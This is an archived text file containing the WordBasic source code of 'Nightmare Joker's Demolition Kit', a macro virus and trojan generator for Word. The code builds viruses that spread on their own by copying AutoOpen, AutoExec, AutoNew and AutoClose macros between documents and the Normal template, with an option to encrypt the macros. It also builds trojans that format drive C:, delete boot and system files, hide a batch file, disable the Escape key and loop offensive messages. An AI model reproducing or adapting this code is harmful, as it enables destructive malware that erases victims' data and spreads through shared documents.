home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / DKSOURCE.ZIP / DKSRC.TXT
Text File  |  1997-01-01  |  331KB  |  7,017 lines
  1.                                  SLAM Member
  2.                                  ~~~~~~~~~~~
  3.                                Nightmare Joker
  4.                                ~~~~~~~~~~~~~~~
  5.                                   present's
  6.                                   ~~~~~~~~~
  7.                        The Demolition Kit source code!
  8.                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  9.  
  10. That's the source code of the Win31 version. It works with every other
  11. version of word. There are only differences in the graphic display.
  12.  
  13. *****************************************************************************
  14. *****************************************************************************
  15.  
  16. Macroname: AutoOpen
  17. ~~~~~~~~~~~~~~~~~~~
  18. Sub MAIN
  19. On Error Goto Nothing
  20. GanzerBildschirmUmschalten
  21. DokumentMinimieren
  22. DokumentMaximieren
  23. Again:
  24. Begin Dialog BenutzerDialog 320, 122, " "
  25.     Text 47, 11, 211, 13, "Do you have a sound card?", .Text1
  26.     OptionGroup  .G1
  27.         OptionButton 120, 33, 61, 16, "YES", .Optionsfeld1
  28.         OptionButton 120, 56, 53, 16, "NO", .Optionsfeld2
  29.     OKButton 41, 89, 233, 21
  30. End Dialog
  31. Dim dlg As BenutzerDialog
  32. dlg.G1 = - 1
  33. x = Dialog(dlg)
  34. If dlg.G1 = - 1 Then Goto Again
  35. If dlg.G1 = 0 Then StartSound
  36. ExtrasMakro .Name = "VCK", .Ausführen, .Anzeigen = 3
  37. Nothing:
  38. REM DateiAllesSchließen 2
  39. End Sub
  40.  
  41.  
  42. Sub StartSound
  43. On Error Goto Finito    
  44.     A$ = MakroDateiName$("AutoOpen1")
  45.     B$ = DateiNameInfo$(A$, 5)
  46.     ChDir B$
  47.     DateiNeu .DokVorlage = "Normal", .DokVorlageNeu = 0
  48.     EinfügenObjekt .SymbolNummer = 0, .DateiName = "SOUND.WAV",     .Verknüpfung = 0, .SymbolAnzeigen = 0, .Registerkarte = "1", .ObjektTyp     = "SoundRec", .SymbolDateiname = "", .Beschriftung = "sound.wav"
  49.     ZeichenLinks 1
  50.     ObjektAktivieren
  51.     DokumentMinimieren
  52. Finito:
  53. On Error Resume Next
  54. Aktivieren A$
  55. DokumentMaximieren
  56. End Sub
  57.  
  58. *****************************************************************************
  59.                           END OF MACRO AUTOOPEN
  60. *****************************************************************************
  61.  
  62. Macroname: VCK
  63. ~~~~~~~~~~~~~~
  64. Sub MAIN
  65. A$ = MakroDateiName$("Horses")
  66. B$ = DateiNameInfo$(A$, 5)
  67. SetProfileString "Dir", "Name", B$
  68. TheBegin:
  69.     A$ = MakroDateiName$("VCK")
  70.     B$ = DateiNameInfo$(A$, 5)
  71.     ChDir B$
  72. Begin Dialog BenutzerDialog 822, 392, " "
  73.     CancelButton 179, 362, 439, 21
  74.     Picture 12, 20, 167, 337, "pic2.bmp", 0, .Grafik3
  75.     Picture 179, 76, 439, 142, "sign.bmp", 0, .Grafik2
  76.     Text 352, 226, 88, 13, "CREATE A:", .Text1
  77.     Picture 652, 20, 167, 337, "pic3.bmp", 0, .Grafik4
  78.     Picture 220, 11, 391, 59, "pic4.bmp", 0, .Grafik1
  79.     PushButton 296, 246, 213, 21, "AUTOMACRO VIRUS", .Definierbar1
  80.     PushButton 296, 275, 213, 21, "NON-AUTOMACRO VIRUS", .Definierbar2
  81.     PushButton 296, 303, 213, 21, "POLYMORPHIC VIRUS", .Definierbar3
  82.     PushButton 294, 332, 213, 21, "TROJAN HORSE", .Definierbar4
  83.     Text 312, 5, 173, 13, "NIGHTMARE JOKER'S", .Text2
  84. End Dialog
  85. Dim dlg As BenutzerDialog
  86. x = Dialog(dlg)
  87. Select Case x
  88. Case 0
  89. Abbrechen
  90. Case 1
  91. Again6:
  92. Begin Dialog BenutzerDialog 406, 166, " "
  93.     Text 113, 7, 161, 13, "AUTOMACRO VIRUS", .Text1
  94.     Text 164, 29, 56, 13, "Creator", .Text2
  95.     TextBox 142, 97, 107, 18, .T$
  96.     Text 74, 51, 251, 13, "Please insert now the virus name", .Text3
  97.     OKButton 132, 127, 130, 21
  98.     Text 129, 72, 132, 13, "Only ONE word!!!", .Text4
  99. End Dialog
  100. Dim dlg As BenutzerDialog
  101. x = Dialog(dlg)
  102. A$ = MakroDateiName$("VCK")
  103. B$ = DateiNameInfo$(A$, 5)
  104. SetPrivateProfileString "NewVirus", "Name", dlg.T$, B$ + "virus.ini"
  105. SetProfileString "Dir", "Name", B$
  106. Insert1
  107. DokumentSchließen 2
  108. ExtrasMakro .Name = "AutoOpen", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  109. InfectNormalAuto
  110. EinfügenAbsatz
  111. InfectDocAuto
  112. DokumentSchließen 1
  113. ExtrasMakro .Name = "AutoExec", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  114. EinfügenAbsatz
  115. Einfügen "Call AutoOpen"
  116. EinfügenAbsatz
  117. DokumentSchließen 1
  118. ExtrasMakro .Name = "AutoNew", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  119. InfectDocAuto
  120. DokumentSchließen 1
  121. ExtrasMakro .Name = "AutoClose", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  122. InfectDocAuto
  123. DokumentSchließen 1
  124. ExtrasMakro .Name = dlg.T$, .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  125. EinfügenAbsatz
  126. Einfügen "REM A Virus from Nightmare Joker's Demolition Kit!"
  127. EinfügenAbsatz
  128. DokumentSchließen 1
  129. Con1:
  130. Begin Dialog BenutzerDialog 506, 216, " "
  131.     Text 166, 6, 161, 13, "AUTOMACRO VIRUS", .Text1
  132.     Text 211, 26, 56, 13, "Creator", .Text2
  133.     Text 112, 53, 283, 13, "Would you like to encrypt your virus?", .Text3
  134.     OptionGroup  .G1
  135.         OptionButton 183, 134, 89, 16, "Payload", .Optionsfeld1
  136.         OptionButton 183, 151, 116, 16, "No Payload", .Optionsfeld2
  137.     OptionGroup  .G2
  138.         OptionButton 183, 70, 105, 16, "Encrypted", .O1$
  139.         OptionButton 183, 87, 137, 16, "Not Encrypted", .O2$
  140.     Text 155, 110, 184, 13, "Do you want a payload?", .Text4
  141.     OKButton 133, 180, 225, 21
  142. End Dialog
  143. Dim dlg As BenutzerDialog
  144. dlg.G1 = - 1
  145. dlg.G2 = - 1
  146. x = Dialog(dlg)
  147. If dlg.G1 = - 1 Then
  148.     Call Viren.MError
  149.     Goto Con1
  150. Else
  151.     REM Nothing to do!
  152. End If
  153. If dlg.G2 = - 1 Then
  154.     Call Viren.MError
  155.     Goto Con1
  156. Else
  157.     REM Nothing to do!
  158. End If
  159. If dlg.G2 = 0 Then
  160.     Encrypt
  161.     DokumentSchließen 1
  162. Else
  163.     Goto Again2
  164. End If
  165. Again2:
  166. If dlg.G1 = 0 Then
  167.     Call Horses.Payload
  168. Else
  169.     Goto Again3
  170. End If
  171. Again3:
  172. Insert2
  173. REM Kill B$ + "virus.ini"
  174. Abbrechen
  175. Case 2
  176. Call Horses.NONAUTOMACRO
  177. Case 3
  178. Call Horses.PolyVir
  179. Case 4
  180. Begin Dialog BenutzerDialog 406, 324, " "
  181.     Text 127, 8, 129, 13, "TROJAN HORSE", .Text1
  182.     Text 137, 26, 104, 13, "GENERATOR", .Text2
  183.     Text 90, 51, 199, 13, "CHOOSE YOUR WEAPON", .Text3
  184.     PushButton 102, 280, 210, 21, "Continue", .Definierbar1
  185.     OptionGroup  .G1
  186.         OptionButton 123, 73, 127, 16, "FORMAT C:\", .Optionsfeld1
  187.         OptionButton 123, 93, 216, 16, "DELETE SYSTEM FILES", .Optionsfeld2
  188.         OptionButton 123, 113, 168, 16, "SPREAD A VIRUS", .Optionsfeld3
  189.         OptionButton 123, 133, 153, 16, "KILL WINDOWS", .Optionsfeld4
  190.         OptionButton 123, 153, 183, 16, "MESSAGE TERROR", .Optionsfeld5
  191.         OptionButton 122, 173, 169, 16, "SETVER TERROR", .Optionsfeld6
  192.         OptionButton 123, 193, 184, 16, "KILL WINWORD 7.0", .Optionsfeld7
  193.         OptionButton 123, 213, 216, 16, "STOP EVERYTHING", .Otionsfeld8
  194.         OptionButton 123, 233, 156, 16, "BYE BYE WORD", .Optionsfeld10
  195.         OptionButton 123, 253, 147, 16, "HORROR NOW", .Optionsfeld11
  196. End Dialog
  197. Dim dlg As BenutzerDialog
  198. dlg.G1 = - 1
  199. x = Dialog(dlg)
  200. If dlg.G1 = - 1 Then
  201.     Call Viren.MError
  202.     Goto Again9
  203. Else
  204.     REM Nothing to do!
  205. End If
  206. Select Case x
  207. Case 1
  208. If dlg.G1 = 0 Then
  209.     K1
  210.     Goto Cool1
  211. ElseIf dlg.G1 = 1 Then
  212.     K2
  213.     Goto Cool1
  214. ElseIf dlg.G1 = 2 Then
  215.     K3
  216.     Goto Cool1
  217. ElseIf dlg.G1 = 3 Then
  218.     K4
  219.     Goto Cool1
  220. ElseIf dlg.G1 = 4 Then
  221.     K5
  222.     Goto Cool1
  223. ElseIf dlg.G1 = 5 Then
  224.     K6
  225.     Goto Cool1
  226. ElseIf dlg.G1 = 6 Then
  227.     K7
  228.     Goto Cool1
  229. ElseIf dlg.G1 = 7 Then
  230.     K8
  231.     Goto Cool1
  232. ElseIf dlg.G1 = 8 Then
  233.     K9
  234.     Goto Cool1
  235. ElseIf dlg.G1 = 9 Then
  236.     K10
  237. End If
  238. Cool1:
  239. End Select
  240. End Select
  241. Begin Dialog BenutzerDialog 306, 138, " "
  242.     Text 78, 8, 136, 13, "BACK TO MENUE", .Text1
  243.     OptionGroup  .Gd1
  244.         OptionButton 118, 39, 57, 16, "Yes", .Optionsfeld1
  245.         OptionButton 118, 66, 60, 16, "Quit", .Optionsfeld2
  246.     OKButton 56, 98, 193, 21
  247. End Dialog
  248. Dim DLG As BenutzerDialog
  249. DLG.GD1 = - 1
  250. X = Dialog(DLG)
  251. If DLG.GD1 = 0 Then
  252.     Goto THEBEGIN
  253. Else    
  254.     Goto THEEND
  255. End If
  256. THEEND:
  257. Begin Dialog BenutzerDialog 756, 348, " "
  258.     Picture 152, 74, 449, 166, "end.bmp", 0, .Grafik1
  259.     Picture 153, 1, 448, 70, "pic6.bmp", 0, .Grafik2
  260.     PushButton 300, 320, 147, 21, "GOODBYE", .Definierbar1
  261.     Picture 151, 245, 453, 70, "pic7.bmp", 0, .Grafik3
  262.     Picture 3, 46, 145, 255, "pic3.bmp", 0, .Grafik4
  263.     Picture 607, 46, 145, 255, "pic3.bmp", 0, .Grafik5
  264. End Dialog
  265. Dim dlg As BenutzerDialog
  266. x = Dialog(dlg)
  267. DateiAllesSchließen 2
  268. End Sub
  269.  
  270. Sub Insert1
  271. DateiNeu .DokVorlage = "Normal", .DokVorlageNeu = 1
  272.     Schriftgrad 16
  273.     Fett
  274.     Schriftart "Arial"
  275.     On Error Goto End76
  276.     A$ = InputBox$("Please insert something, which should be displayed in your text file. Do not use the ''Enter'' Button. That's very important!!!", "NIGHTMARE JOKER'S GENERATOR")
  277.     Einfügen A$
  278.     Schriftgrad 10
  279.     Einfügen " "
  280.     Fett
  281.     Schriftart "Arial"
  282.     EinfügenAbsatz
  283.     EinfügenAbsatz
  284.     Einfügen "NJ 1996"
  285.     ExtrasMakro .Name = "AutoOpen", .Bearbeiten, .Anzeigen = 3,     .Beschreibung = "", .NeuerName = ""
  286.     Goto End77
  287. End76:
  288.     DateiAllesSchließen 2
  289. End77:
  290. End Sub
  291.  
  292. Sub Insert2
  293. On Error Goto End76
  294.     A$ = InputBox$("Please insert the file name:", "NIGHTMARE JOKER'S GENERATOR")
  295.     DateiSpeichernUnter .Name = "C:\" + A$, .Format = 1,     .AnmerkungSperren = 0, .Kennwort = "", .ZuletztBearbErweitern = 1,     .KennwortSchreiben = "", .SchreibschutzEmpfehlen = 0,     .EinbettenSchriftarten = 0, .UrsprungGrafikFormat = 0, .FormularDaten =     0
  296.     DokumentSchließen 1
  297. Goto End77
  298. End76:
  299.     DateiAllesSchließen 2
  300. End77:
  301. End Sub
  302.  
  303. Sub Spreada
  304. Again:
  305. Begin Dialog BenutzerDialog 458, 332, " "
  306.         Text 145, 10, 145, 13, "SPREAD A VIRUS!", .Text1
  307.         Text 102, 32, 228, 13, "CHOOSE NOW YOUR VIRUS:", .Text2
  308.         OptionGroup  .Gruppenfeld1
  309.             OptionButton 151, 55, 67, 16, "Caza", .Optionsfeld1
  310.             OptionButton 151, 76, 108, 16, "Hemoroids", .Optionsfeld2    
  311.             OptionButton 151, 97, 101, 16, "HOODOO", .Optionsfeld3
  312.             OptionButton 151, 118, 87, 16, "Iceburn", .Optionsfeld4
  313.             OptionButton 151, 139, 84, 16, "Icemelt", .Optionsfeld5
  314.             OptionButton 151, 160, 119, 16, "Black Lotus", .Optionsfeld6
  315.             OptionButton 151, 181, 107, 16, "G2.Master", .Optionsfeld7
  316.             OptionButton 151, 201, 91, 16, "Padania", .Optionsfeld8
  317.             OptionButton 151, 222, 133, 16, "Pandemonium", .Optionsfeld9
  318.             OptionButton 151, 243, 69, 16, "Smile", .Optionsfeld10
  319.             OptionButton 151, 264, 77, 16, "Vecna", .Optionsfeld11
  320.         OKButton 121, 299, 203, 21
  321.     End Dialog
  322. Dim dlg As BenutzerDialog
  323. dlg.Gruppenfeld1 = - 1
  324. x = Dialog(dlg)
  325. If dlg.Gruppenfeld1 = - 1 Then
  326.     Call Viren.MError    
  327.     Goto Again
  328. Else
  329.     REM Nothing to do!
  330. End If
  331. If dlg.Gruppenfeld1 = 0 Then
  332.     Call Viren.Caza
  333. ElseIf dlg.Gruppenfeld1 = 1 Then
  334.     Call Viren.Hemo
  335. ElseIf dlg.Gruppenfeld1 = 2 Then
  336.     Call Viren.HooDoo
  337. ElseIf dlg.Gruppenfeld1 = 3 Then
  338.     Call Viren.Iceburn
  339. ElseIf dlg.Gruppenfeld1 = 4 Then
  340.     Call Viren.Icemelt
  341. ElseIf dlg.Gruppenfeld1 = 5 Then
  342.     Call Viren.Lotus
  343. ElseIf dlg.Gruppenfeld1 = 6 Then
  344.     Call Viren.Master
  345. ElseIf dlg.Gruppenfeld1 = 7 Then
  346.     Call Viren.Pandania
  347. ElseIf dlg.Gruppenfeld1 = 8 Then
  348.     Call Viren.Pande
  349. ElseIf dlg.Gruppenfeld1 = 9 Then
  350.     Call Viren.Smile
  351. ElseIf dlg.Gruppenfeld1 = 10 Then
  352.     Call Viren.Vecna
  353. End If
  354. End Sub
  355.  
  356. Sub InfectDocAuto
  357. Einfügen "On Error Goto Finish"
  358. EinfügenAbsatz
  359. EinfügenAbsatz
  360. Einfügen "For i = 1 To ZählenMakros(1, 0)"
  361. EinfügenAbsatz
  362. B$ = GetProfileString$("Dir", "Name")
  363. C$ = GetPrivateProfileString$("NewVirus", "Name", B$ + "virus.ini")
  364. Einfügen Chr$(9) + "If MakroName$(i, 1, 1) = " + Chr$(34) + C$ + Chr$(34) + " Then"
  365. EinfügenAbsatz
  366. Einfügen Chr$(9) + Chr$(9) + "VInstalled = 1"
  367. EinfügenAbsatz
  368. Einfügen Chr$(9) + "End If"
  369. EinfügenAbsatz
  370. Einfügen "Next i"
  371. EinfügenAbsatz
  372. EinfügenAbsatz
  373. Einfügen "If VInstalled = 1 Then"
  374. EinfügenAbsatz
  375. Einfügen Chr$(9) + "Goto Finish"
  376. EinfügenAbsatz
  377. Einfügen "Else"
  378. EinfügenAbsatz
  379. Einfügen Chr$(9) + "On Error Resume Next"
  380. EinfügenAbsatz
  381. Einfügen Chr$(9) + "DateiSpeichernUnter .Format = 1"
  382. EinfügenAbsatz
  383. Einfügen Chr$(9) + "MakroKopieren " + Chr$(34) + "Global:AutoOpen" + Chr$(34) + ", DateiName$() + " + Chr$(34) + ":AutoOpen" + Chr$(34)
  384. EinfügenAbsatz
  385. Einfügen Chr$(9) + "MakroKopieren " + Chr$(34) + "Global:" + C$ + Chr$(34) + ", DateiName$() + " + Chr$(34) + ":" + C$ + Chr$(34)
  386. EinfügenAbsatz
  387. Einfügen Chr$(9) + "MakroKopieren " + Chr$(34) + "Global:AutoExec" + Chr$(34) + ", DateiName$() + " + Chr$(34) + ":AutoExec" + Chr$(34)
  388. EinfügenAbsatz
  389. Einfügen Chr$(9) + "MakroKopieren " + Chr$(34) + "Global:AutoNew" + Chr$(34) + ", DateiName$() + " + Chr$(34) + ":AutoNew" + Chr$(34)
  390. EinfügenAbsatz
  391. Einfügen Chr$(9) + "MakroKopieren " + Chr$(34) + "Global:AutoClose" + Chr$(34) + ", DateiName$() + " + Chr$(34) + ":AutoClos"
  392. Einfügen "e" + Chr$(34)
  393. EinfügenAbsatz
  394. Einfügen Chr$(9) + "DateiAllesSpeichern 1, 0"
  395. EinfügenAbsatz
  396. Einfügen "End If"
  397. EinfügenAbsatz
  398. EinfügenAbsatz
  399. Einfügen "Finish:"
  400. End Sub
  401.  
  402. Sub InfectNormalAuto
  403. Einfügen "On Error Goto Finish2"
  404. EinfügenAbsatz
  405. EinfügenAbsatz
  406. Einfügen "For i = 1 To ZählenMakros(0, 0)"
  407. EinfügenAbsatz
  408. B$ = GetProfileString$("Dir", "Name")
  409. C$ = GetPrivateProfileString$("NewVirus", "Name", B$ + "virus.ini")
  410. Einfügen Chr$(9) + "If MakroName$(i, 0, 0) = " + Chr$(34) + C$ + Chr$(34) + " Then"
  411. EinfügenAbsatz
  412. Einfügen Chr$(9) + Chr$(9) + "VInstalled = 1"
  413. EinfügenAbsatz
  414. Einfügen Chr$(9) + "End If"
  415. EinfügenAbsatz
  416. Einfügen "Next i"
  417. EinfügenAbsatz
  418. EinfügenAbsatz
  419. Einfügen "If VInstalled = 1 Then"
  420. EinfügenAbsatz
  421. Einfügen Chr$(9) + "Goto Finish"
  422. EinfügenAbsatz
  423. Einfügen "Else"
  424. EinfügenAbsatz
  425. Einfügen Chr$(9) + "On Error Resume Next"
  426. EinfügenAbsatz
  427. Einfügen Chr$(9) + "MakroKopieren DateiName$() + " + Chr$(34) + ":" + C$ + Chr$(34) + ", " + Chr$(34) + "Global:" + C$ + Chr$(34)
  428. EinfügenAbsatz
  429. Einfügen Chr$(9) + "MakroKopieren DateiName$() + " + Chr$(34) + ":AutoNew" + Chr$(34) + ", " + Chr$(34) + "Global:AutoNew" + Chr$(34)
  430. EinfügenAbsatz
  431. Einfügen Chr$(9) + "MakroKopieren DateiName$() + " + Chr$(34) + ":AutoClose" + Chr$(34) + ", " + Chr$(34) + "Global:AutoClos"
  432. Einfügen "e" + Chr$(34)
  433. EinfügenAbsatz
  434. Einfügen Chr$(9) + "MakroKopieren DateiName$() + " + Chr$(34) + ":AutoExec" + Chr$(34) + ", " + Chr$(34) + "Global:AutoExec" + Chr$(34)
  435. EinfügenAbsatz
  436. Einfügen Chr$(9) + "MakroKopieren dateiName$() + " + Chr$(34) + ":AutoOpen" + Chr$(34) + ", " + Chr$(34) + "Global:AutoOpen" + Chr$(34)
  437. EinfügenAbsatz
  438. Einfügen "End If"
  439. EinfügenAbsatz
  440. EinfügenAbsatz
  441. Einfügen "Finish2:"
  442. End Sub
  443.  
  444. Sub Encrypt
  445. ExtrasMakro .Name = "AutoClose", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  446. ZeileUnten 14
  447. EndeZeile
  448. Einfügen ", 1"
  449. ZeichenLinks 62
  450. ZeileUnten 1
  451. EndeZeile
  452. Einfügen ", 1"
  453. ZeileUnten 1
  454. EndeZeile
  455. Einfügen ", 1"
  456. ZeichenLinks 62
  457. ZeileUnten 1
  458. EndeZeile
  459. Einfügen ", 1"
  460. ZeileUnten 1
  461. EndeZeile
  462. Einfügen ", 1"
  463. DokumentSchließen 1
  464. ExtrasMakro .Name = "AutoNew", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  465. ZeileUnten 14
  466. EndeZeile
  467. Einfügen ", 1"
  468. ZeichenLinks 62
  469. ZeileUnten 1
  470. EndeZeile
  471. Einfügen ", 1"
  472. ZeileUnten 1
  473. EndeZeile
  474. Einfügen ", 1"
  475. ZeichenLinks 62
  476. ZeileUnten 1
  477. EndeZeile
  478. Einfügen ", 1"
  479. ZeileUnten 1
  480. EndeZeile
  481. Einfügen ", 1"
  482. DokumentSchließen 1
  483. ExtrasMakro .Name = "AutoOpen", .Bearbeiten, .Anzeigen = 3, .Beschreibung = "", .NeuerName = ""
  484. ZeileUnten 13
  485. EndeZeile
  486. Einfügen ", 1"
  487. ZeileUnten 1
  488. EndeZeile
  489. Einfügen ", 1"
  490. ZeileUnten 1
  491. EndeZeile
  492. Einfügen ", 1"
  493. ZeichenLinks 64
  494. ZeileUnten 1
  495. EndeZeile
  496. Einfügen ", 1"
  497. ZeichenLinks 62
  498. ZeileUnten 1
  499. EndeZeile
  500. Einfügen ", 1"
  501. ZeichenLinks 64
  502. ZeichenRechts 1
  503. ZeileUnten 17
  504. EndeZeile
  505. Einfügen ", 1"
  506. ZeichenLinks 62
  507. ZeileUnten 1
  508. VZeile 6
  509. EndeZeile
  510. Einfügen ", 1"
  511. ZeileUnten 1
  512. EndeZeile
  513. Einfügen ", 1"
  514. ZeichenLinks 62
  515. ZeileUnten 1
  516. EndeZeile
  517. Einfügen ", 1"
  518. ZeileUnten 1
  519. EndeZeile
  520. Einfügen ", 1"
  521. End Sub
  522.  
  523. Sub K1
  524.     Insert1
  525.     Einfügen "On Error Resume Next"
  526.     EinfügenAbsatz
  527.     EinfügenAbsatz
  528.     Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel = 27, .Kategorie = 1, .Name = " + Chr$(34) + "Abbrechen" + Chr$(34) + ", .Entfernen, .Kontext = 0"    
  529.     EinfügenAbsatz
  530.     EinfügenAbsatz
  531.     Einfügen "sCmd$ =" + Chr$(34) + "echo y|format c: /u" + Chr$(34)
  532.     EinfügenAbsatz
  533.     Einfügen "Shell Umgebung$(" + Chr$(34) + "COMSPEC" + Chr$(34) + ")" + "+" + Chr$(34) + "/c" + Chr$(34) + "+ sCmd$, 0"
  534.     DokumentSchließen 1
  535.     Insert2
  536. End Sub
  537.  
  538. Sub K2
  539.     Insert1
  540.     Einfügen "On Error Resume Next"
  541.     EinfügenAbsatz
  542.     Einfügen "Kill" + Chr$(34) + "C:\Autoexec.bat" + Chr$(34)
  543.     EinfügenAbsatz
  544.     Einfügen "Kill" + Chr$(34) + "C:\Config.sys" + Chr$(34)
  545.     EinfügenAbsatz
  546.     Einfügen "Kill" + Chr$(34) + "C:\Command.com" + Chr$(34)
  547.     EinfügenAbsatz
  548.     Einfügen "Kill" + Chr$(34) + "C:\io.sys" + Chr$(34)
  549.     EinfügenAbsatz
  550.     Einfügen "Kill" + Chr$(34) + "C:\msdos.sys" + Chr$(34)
  551.     EinfügenAbsatz
  552.     Einfügen "Finish:"
  553.     DokumentSchließen 1
  554.     Insert2
  555. End Sub
  556.  
  557. Sub K3
  558.     DateiNeu .DokVorlage = "normal.dot"
  559.     Insert1
  560.     Einfügen "On Error Resume Next"
  561.     EinfügenAbsatz
  562.     EinfügenAbsatz
  563.     Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel = 27, .Kategorie = 1, .Name = " + Chr$(34) + "Abbrechen" + Chr$(34) + ", .Entfernen, .Kontext = 0"    
  564.     EinfügenAbsatz
  565.     EinfügenAbsatz
  566.     Spreada
  567.     DokumentSchließen 1
  568.     Insert2
  569.     MsgBox "It's ready now!", "NIGHTMARE JOKER"
  570. End Sub
  571.  
  572. Sub K4
  573.     Insert1
  574.     Einfügen "SetProfileString" + Chr$(34) + "windows" + Chr$(34) + ", "        + Chr$(34) + "Program" + Chr$(34) + ", " + Chr$(34) + Chr$(34)
  575.     DokumentSchließen 1
  576.     Insert2
  577.     MsgBox "It's ready now!", "NIGHTMARE JOKER"
  578. End Sub
  579.  
  580. Sub K5
  581. On Error Goto End76
  582.     a$ = InputBox$("Please insert your Terror Message:", "NIGHTMARE JOKER")
  583.     Insert1
  584.     Einfügen "MakroKopieren DateiName$() +" + Chr$(34) + ":" + "AutoOpen" +     Chr$(34) + ", " + Chr$(34) + "Global:AutoOpen" + Chr$(34) + ",1"
  585.     EinfügenAbsatz
  586.     Einfügen "Again:"
  587.     EinfügenAbsatz
  588.     Einfügen "MsgBox" + Chr$(34) + a$ + Chr$(34)
  589.     EinfügenAbsatz
  590.     Einfügen "Goto Again"
  591.     DokumentSchließen 1
  592.     Insert2
  593.     MsgBox "It's ready now!", "NIGHTMARE JOKER"
  594. Goto End77
  595. End76:
  596.     DateiAllesSchließen 2
  597. End77:
  598. End Sub
  599.  
  600. Sub K6
  601.     Insert1
  602.     Einfügen "Open " + Chr$(34) + "C:\dosys.bat" + Chr$(34) + "For Output " + Chr$(9) + "As #1"
  603.     EinfügenAbsatz
  604.     Einfügen "Print #1, " + Chr$(34) + "@echo off" + Chr$(34)
  605.     EinfügenAbsatz
  606.     Einfügen "Print #1, " + Chr$(34) + "doskey Fun=setver win.com 3.00" +     Chr$(34)
  607.     EinfügenAbsatz
  608.     Einfügen "Print #1, " + Chr$(34) + "@echo off" + Chr$(34)
  609.     EinfügenAbsatz
  610.     Einfügen "Print #1, " + Chr$(34) + "Fun" + Chr$(34)
  611.     EinfügenAbsatz
  612.     Einfügen "Close #1"
  613.     EinfügenAbsatz
  614.     Einfügen "Shell " + Chr$(34) + "C:\dosys.bat" + Chr$(34) + ", 0"
  615.     EinfügenAbsatz
  616.     Einfügen "AttributBestimmen " + Chr$(34) + "C:\dosys.bat" + Chr$(34) +     ", 2"
  617.     EinfügenAbsatz
  618.     DokumentSchließen 1
  619.     Insert2
  620. End Sub
  621.  
  622. Sub K7
  623.     Insert1
  624.     Einfügen "DateiAllesSchließen 2"
  625.     EinfügenAbsatz
  626.     Einfügen "SendKeys " + Chr$(34) + "{F1}" + Chr$(34)
  627.     EinfügenAbsatz
  628.     DokumentSchließen 1
  629.     Insert2
  630. End Sub
  631.  
  632. Sub K8
  633.     Insert1
  634.     Einfügen "On Error Resume Next"
  635.     EinfügenAbsatz
  636.     EinfügenAbsatz
  637.     Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel = 27, .Kategorie = 1, .Name = " + Chr$(34) + "Abbrechen" + Chr$(34) + ", .Entfernen, .Kontext = 0"    
  638.     EinfügenAbsatz
  639.     EinfügenAbsatz
  640.     Einfügen "SendKeys " + Chr$(34) + "%" + Chr$(34) + "+" + Chr$(34) + "S"     + Chr$(34)
  641.     DokumentSchließen 1
  642.     Insert2
  643. End Sub
  644.  
  645. Sub K9
  646.     Insert1
  647.     Einfügen "SendKeys " + Chr$(34) + "%" + Chr$(34) + "+" + Chr$(34) +     "{F4}" + Chr$(34)
  648.     DokumentSchließen 1
  649.     Insert2
  650. End Sub
  651.  
  652. Sub K10
  653.     Insert1
  654.     Einfügen "On Error Resume Next"
  655.     EinfügenAbsatz
  656.     EinfügenAbsatz
  657.     Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel = 27, .Kategorie = 1, .Name = " + Chr$(34) + "Abbrechen" + Chr$(34) + ", .Entfernen, .Kontext = 0"    
  658.     EinfügenAbsatz
  659.     EinfügenAbsatz
  660.     Einfügen "Again:"
  661.     EinfügenAbsatz    
  662.     Einfügen "Fett"
  663.     EinfügenAbsatz
  664.     Einfügen "Schriftgrad 72"
  665.     EinfügenAbsatz
  666.     Einfügen "Einfügen " + Chr$(34) + "FUCK" + Chr$(34)
  667.     EinfügenAbsatz
  668.     Einfügen "AnwMinimieren"
  669.     EinfügenAbsatz
  670.     Einfügen "AnwWiederherstellen"
  671.     EinfügenAbsatz
  672.     Einfügen "BearbeitenLöschen - 4"
  673.     EinfügenAbsatz
  674.     Einfügen "Fett"
  675.     EinfügenAbsatz
  676.     Einfügen "Schriftgrad 72"
  677.     EinfügenAbsatz
  678.     Einfügen "Einfügen " + Chr$(34) + "YOU" + Chr$(34)
  679.     EinfügenAbsatz
  680.     Einfügen "AnwMinimieren"
  681.     EinfügenAbsatz
  682.     Einfügen "AnwWiederherstellen"
  683.     EinfügenAbsatz
  684.     Einfügen "BearbeitenLöschen - 3"
  685.     EinfügenAbsatz
  686.     Einfügen "Goto Again"
  687.     DokumentSchließen 1
  688.     Insert2
  689. End Sub
  690.  
  691. *****************************************************************************
  692.                              END OF MACRO VCK
  693. *****************************************************************************
  694.  
  695. Macroname :Horses
  696. ~~~~~~~~~~~~~~~~~
  697. Sub MAIN
  698. REM Payload
  699. End Sub
  700.  
  701. Sub K1
  702.     Einfügen "On Error Resume Next"
  703.     EinfügenAbsatz
  704.     EinfügenAbsatz
  705.     Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel = 27, .Kategorie = 1, .Name = " + Chr$(34) + "Abbrechen" + Chr$(34) + ", .Entfernen, .Kontext = 0"    
  706.     EinfügenAbsatz
  707.     EinfügenAbsatz
  708.     Einfügen "sCmd$ =" + Chr$(34) + "echo y|format c: /u" + Chr$(34)
  709.     EinfügenAbsatz
  710.     Einfügen "Shell Umgebung$(" + Chr$(34) + "COMSPEC" + Chr$(34) + ")" + "+" + Chr$(34) + "/c" + Chr$(34) + "+ sCmd$, 0"
  711. End Sub
  712.  
  713. Sub K2
  714.     Einfügen "On Error Resume Next"
  715.     EinfügenAbsatz
  716.     EinfügenAbsatz
  717.     Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel = 27, .Kategorie = 1, .Name = " + Chr$(34) + "Abbrechen" + Chr$(34) + ", .Entfernen, .Kontext = 0"    
  718.     EinfügenAbsatz
  719.     EinfügenAbsatz
